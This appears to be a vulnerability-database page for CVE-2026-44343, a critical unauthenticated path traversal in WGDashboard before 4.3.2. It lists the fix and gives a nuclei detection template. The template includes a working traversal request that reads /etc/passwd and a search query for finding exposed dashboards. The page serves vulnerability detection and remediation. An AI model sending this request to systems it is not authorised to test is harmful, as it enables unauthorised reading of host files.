Browse / CVEs / CVE-2026-44343
CVE-2026-44343· wgdashboard / wgdashboard· CWE-22
WGDashboard < 4.3.2 - Unauthenticated File Read
criticalseverity
9.8CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it
WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
Impact
Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.
Fix
Update to version 4.3.2 or later.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains_any(tolower(body), "wgdashboard", "wireguard")
Send: GET /fileDownload?file=../../../../etc/passwd
Positive when: status_code == 200 and contains(body, "root:x:0:0:")Run it with nuclei: nuclei -id CVE-2026-44343 -u <target>
The full check
id: CVE-2026-44343
info:
name: WGDashboard < 4.3.2 - Unauthenticated File Read
author: str4k3r
severity: critical
description: |
WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
impact: |
Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.
remediation: |
Update to version 4.3.2 or later.
reference:
- https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm
- https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2
- https://nvd.nist.gov/vuln/detail/CVE-2026-44343
classification:
cve-id: CVE-2026-44343
epss-score: 0.01824
epss-percentile: 0.78971
cwe-id: CWE-22
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
max-request: 2
vendor: wgdashboard
product: wgdashboard
fofa-query: title="WGDashboard"
tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "wgdashboard", "wireguard")'
condition: and
internal: true
- raw:
- |
GET /fileDownload?file=../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "root:x:0:0:")'
condition: andReferences
- https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm
- https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2
- https://nvd.nist.gov/vuln/detail/CVE-2026-44343
Use this check only on systems you are authorised to test. Where the data comes from